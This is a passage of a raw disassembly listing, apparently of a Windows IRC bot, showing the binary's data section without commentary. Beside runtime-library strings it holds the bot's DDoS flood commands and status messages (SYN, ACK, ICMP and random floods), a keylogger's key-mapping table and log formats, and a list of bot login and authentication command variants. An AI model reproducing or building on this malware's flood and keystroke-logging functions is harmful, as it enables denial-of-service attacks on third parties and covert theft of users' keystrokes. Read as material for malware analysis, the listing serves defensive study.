41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dbl_424698 dq 9.765625e-4 ; DATA XREF: sub_40CAF1+2BDr ; sub_40CAF1+2D8r ... dbl_4246A0 dq -3.0517578125e-5 ; DATA XREF: sub_415450+1Er dbl_4246A8 dq 1.0 ; DATA XREF: sub_417CA4+6Cr ; sub_417DEB+6Cr ... dd 0FFFFFFFFh, 419CBBh, 419CCFh byte_4246BC db 6 ; DATA XREF: sub_419E38:loc_419E8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43959Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_439598o align 10h a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43B7ECo align 8 dbl_424818 dq 0.0 ; DATA XREF: sub_41C2F3+8Cr ; sub_41C2F3+ACr ... dbl_424820 dq 4.195835e6 ; DATA XREF: sub_41C808+Fr dbl_424828 dq 3.145727e6 ; DATA XREF: sub_41C808+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C846o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_41C96D+93o align 10h dword_424860 dd 0FFFFFFFFh, 41D058h, 41D062h, 0 ; DATA XREF: sub_41CFF1+5o dword_424870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D120+5o dd offset loc_41D1DE align 10h dd offset sub_41D1BC dd offset sub_41D1C6 dword_424888 dd 0FFFFFFFFh, 41D40Eh, 41D412h, 0 ; DATA XREF: sub_41D256+5o dword_424898 dd 0FFFFFFFFh, 41D470h, 41D479h, 0 ; DATA XREF: sub_41D41A+5o dword_4248A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D4FC+5o dd offset loc_41D54D align 8 dd offset loc_41D539 dd offset loc_41D53D dword_4248C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D552+5o dd offset loc_41D5A3 align 10h dd offset loc_41D58F dd offset loc_41D593 dword_4248D8 dd 2 dup(0) ; DATA XREF: sub_41E709+36o ; sub_41FB63+39o ... dword_4248E0 dd 0FFFFFFFFh, 41E819h, 41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h ; DATA XREF: sub_41E709+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43BC2Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o align 4 asc_424BA8 db 0Ah ; DATA XREF: sub_41F885+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_41F885+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do align 8 dword_424BE8 dd 0FFFFFFFFh, 41FC5Ch, 41FC60h ; DATA XREF: sub_41FB63+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_42094E+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42105F+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42105F+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4219A9:loc_421A9Eo align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_4219A9+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_4219A9+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_4219A9+ADo align 4 dword_424C88 dd 0FFFFFFFFh, 4223A1h, 4223A5h, 0FFFFFFFFh, 422410h, 422414h ; DATA XREF: sub_4221EA+5o dd 424DC4h off_424CA4 dd offset loc_4227D2 ; DATA XREF: sub_4227AA+8o ; sub_4227EE+2Co ... dd offset sub_4227C5 dd offset sub_4229E6 dd offset dword_424E10 off_424CB4 dd offset sub_42283C ; DATA XREF: sub_4227EE+3Ao ; sub_422858o ... dd offset sub_4227C5 dd offset loc_422A22 dword_424CC0 dd 0 ; DATA XREF: sub_4227EE+16o ; sub_4228C0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_422863+11o dd offset dword_424E5C off_424CE0 dd offset sub_42294B ; DATA XREF: sub_422967o ; sub_42298A+37o ... dd offset sub_4227C5 dd offset loc_422A04 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42298A+11o dd offset dword_424EA0 off_424D00 dd offset loc_422AE7 ; DATA XREF: sub_422AD2o ; ___:off_43C34Co ... dd offset dword_424ED0 off_424D08 dd offset loc_422B03 ; DATA XREF: sub_422B1F+8o ; sub_422B5C+8o ... dd offset sub_422BBC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o align 8 dword_424D28 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_422BC9+Eo dd 3, 19930520h, 2 dup(0) dword_424D48 dd 0FFFFFFFFh, 422D7Ah, 422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh ; DATA XREF: sub_422C78+5o dword_424D60 dd 0FFFFFFFFh, 422FEFh, 422FF3h, 0FFFFFFFFh, 42304Ch, 423050h ; DATA XREF: sub_422F03+5o dd 43C34Ch, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_424D90 dd offset off_43C364 ; DATA XREF: ___:00424DA8o ; ___:00424DF4o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424D90 dd offset dword_424D60+18h dword_424DB0 dd 3 dup(0) ; DATA XREF: ___:00424DD4o dd 2, 424DA8h, 3 dup(0) dd offset off_43C364 dd offset dword_424DB0+4 off_424DD8 dd offset off_43C384 ; DATA XREF: ___:00424DF0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424DD8 dd offset off_424D90 dd offset dword_424D60+18h dword_424DFC dd 3 dup(0) ; DATA XREF: ___:00424E20o dd 3, 424DF0h dword_424E10 dd 3 dup(0) ; DATA XREF: ___:00424CB0o dd offset off_43C384 dd offset dword_424DFC+4 ; --------------------------------------------------------------------------- loc_424E24: ; DATA XREF: ___:00424E3Co movsb retn ; --------------------------------------------------------------------------- dw 43h dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset loc_424E24 dd offset off_424D90 dd offset dword_424D60+18h dd 3 dup(0) dd 3, 424E3Ch dword_424E5C dd 3 dup(0) ; DATA XREF: ___:00424CDCo ; --------------------------------------------------------------------------- movsb retn ; --------------------------------------------------------------------------- inc ebx add [esi+ecx*2+42h], cl loc_424E6F: ; DATA XREF: ___:00424E88o add al, cl retn ; --------------------------------------------------------------------------- dw 43h dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset loc_424E6F+1 dword_424E8C dd 3 dup(0) ; DATA XREF: ___:00424EB0o dd 1, 424E88h dword_424EA0 dd 3 dup(0) ; DATA XREF: ___:00424CFCo dd offset off_43C3C8 dd offset dword_424E8C+4 dd offset dword_424D60+18h dword_424EB8 dd 4 dup(0) ; DATA XREF: ___:00424EE0o dd 1, 424EB4h dword_424ED0 dd 3 dup(0) ; DATA XREF: ___:00424D04o dd offset off_43C34C dd offset dword_424EB8+8 align 8 dword_424EE8 dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF: ___:loc_4230E7o dd 0FFFFFFFFh, 4230D0h, 0 dd offset sub_4230C8 dword_424F18 dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF: ___:loc_423104o dd 0FFFFFFFFh, 4230F4h, 0 dd offset loc_4230FC dword_424F48 dd 19930520h, 2, 424F68h, 1, 424F78h, 3 dup(0) ; DATA XREF: ___:loc_423110o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 424F90h, 4 dup(0) dd offset loc_40477E dd 0FFFFFFFFh, 42311Ah dword_424FA8 dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF: ___:loc_423122o dd offset off_43C34C align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 422B5Ch, 0 dd offset off_43C364 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 422908h, 0 dd offset off_43C384 align 8 dd 0FFFFFFFFh, 0 dword_425010 dd 1Ch, 422972h, 3, 424FFCh, 424FE0h, 424FC4h ; DATA XREF: ___:00425034o dword_425028 dd 0 ; DATA XREF: sub_422863+2Eo ; sub_4229E6+4Bo dd offset sub_422858 dd 0 dd offset dword_425010+8 dd 0FFFFFFFFh, 42312Ch dword_425040 dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF: ___:loc_423134o dd 0FFFFFFFFh, 42313Eh dword_425064 dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF: ___:loc_423146o dd 0FFFFFFFFh, 423150h dword_425088 dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF: ___:loc_423158o ; --------------------------------------------------------------------------- movsb retn ; --------------------------------------------------------------------------- dw 43h align 10h dd 0FFFFFFFFh, 0 dword_4250B8 dd 1Ch, 4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ; DATA XREF: ___:004250DCo dword_4250D0 dd 0 ; DATA XREF: sub_42298A+2Eo ; sub_4229E6+2Do dd offset sub_422967 dd 0 dd offset dword_4250B8+8 dd 0FFFFFFFFh, 423162h dword_4250E8 dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF: ___:loc_42316Ao dword_425104 dd 2, 424FE0h, 424FC4h ; DATA XREF: ___:0042511Co dword_425110 dd 0 ; DATA XREF: sub_4229E6+Fo dd offset sub_4227AA dd 0 dd offset dword_425104 dd 5 dup(1546EC53h), 5 dup(31A0DE8Ch), 5 dup(614CE8B5h) dd 7Ah dup(0) dd 614CE8B5h, 0 dd 1546EC53h, 12h dup(0) dd 31A0DE8Ch, 319h dup(0) dword_426000 dd 0 ; DATA XREF: ___:00419AD7o dd offset sub_4030CC dd offset sub_40482C dd offset sub_40484E dword_426010 dd 0 ; DATA XREF: ___:00419AD2o dword_426014 dd 0 ; DATA XREF: ___:00419AC8o dd offset sub_418682 dd offset sub_41ECF1 dd offset sub_41FA42 dd offset dword_4208B4 dword_426028 dd 0 ; DATA XREF: ___:loc_419AC3o dword_42602C dd 0 ; DATA XREF: sub_419B07+65o dd offset sub_41FAE7 dword_426034 dd 0 ; DATA XREF: sub_419B07:loc_419B67o dword_426038 dd 0 ; DATA XREF: sub_419B07+76o dd offset dword_4208B4+11h dword_426040 dd 4 dup(0) ; DATA XREF: sub_419B07:loc_419B78o unk_426050 db 2 ; DATA XREF: sub_401000+5Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_426088 db 2 ; DATA XREF: sub_4010B5+302o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B5:loc_4011E1o ; sub_40EE72+268Fo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B5:loc_4011C5o ; sub_40EE72+2678o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B5+F1o ; sub_40EE72+2661o align 4 unk_4260DC db 2 ; DATA XREF: sub_40144A+397o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_42613C db 2 ; DATA XREF: sub_40144A+307o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_42619C db 2 ; DATA XREF: sub_40144A+12Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidTargetI db ' Invalid target IP.',0 align 4 unk_4261CC db 2 ; DATA XREF: sub_40144A+C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_426214 db 2 ; DATA XREF: sub_40144A:loc_401493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo align 10h dword_426280 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4019D7+4Bo dd 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 4 dword_4262B8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401A76+27Do dd 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_4262E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+4EBo dd 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_426344 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+44Fo dd 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401D82+312o ; sub_40EE72+2C3Co ... align 4 aAck db 'ack',0 ; DATA XREF: sub_401D82+2F2o ; sub_40EE72+2C25o aSyn db 'syn',0 ; DATA XREF: sub_401D82+2D2o ; sub_40EE72+2C0Do dword_4263B4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+15Fo dd 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4263E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+EEo dd 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_42642C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+70o dd 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4023A7:loc_40248Ao unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_426BA4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_426BDC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h ; DATA XREF: sub_4022C6+AEo dd 2202967h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o align 4 aAb db 'ab',0 ; DATA XREF: sub_4022C6+4Eo ; sub_40EE72+2AE5o align 4 asc_426C1C: ; DATA XREF: sub_4022C6+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo align 4 off_426C68 dd offset off_4274E0 ; DATA XREF: sub_402688+29Er dd offset off_4274DC dd offset off_4274D8 dd offset aHttp ; "HTTP" dword_426C78 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402688+1DEo dword_426C8C dd 0 ; DATA XREF: sub_402688+297r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 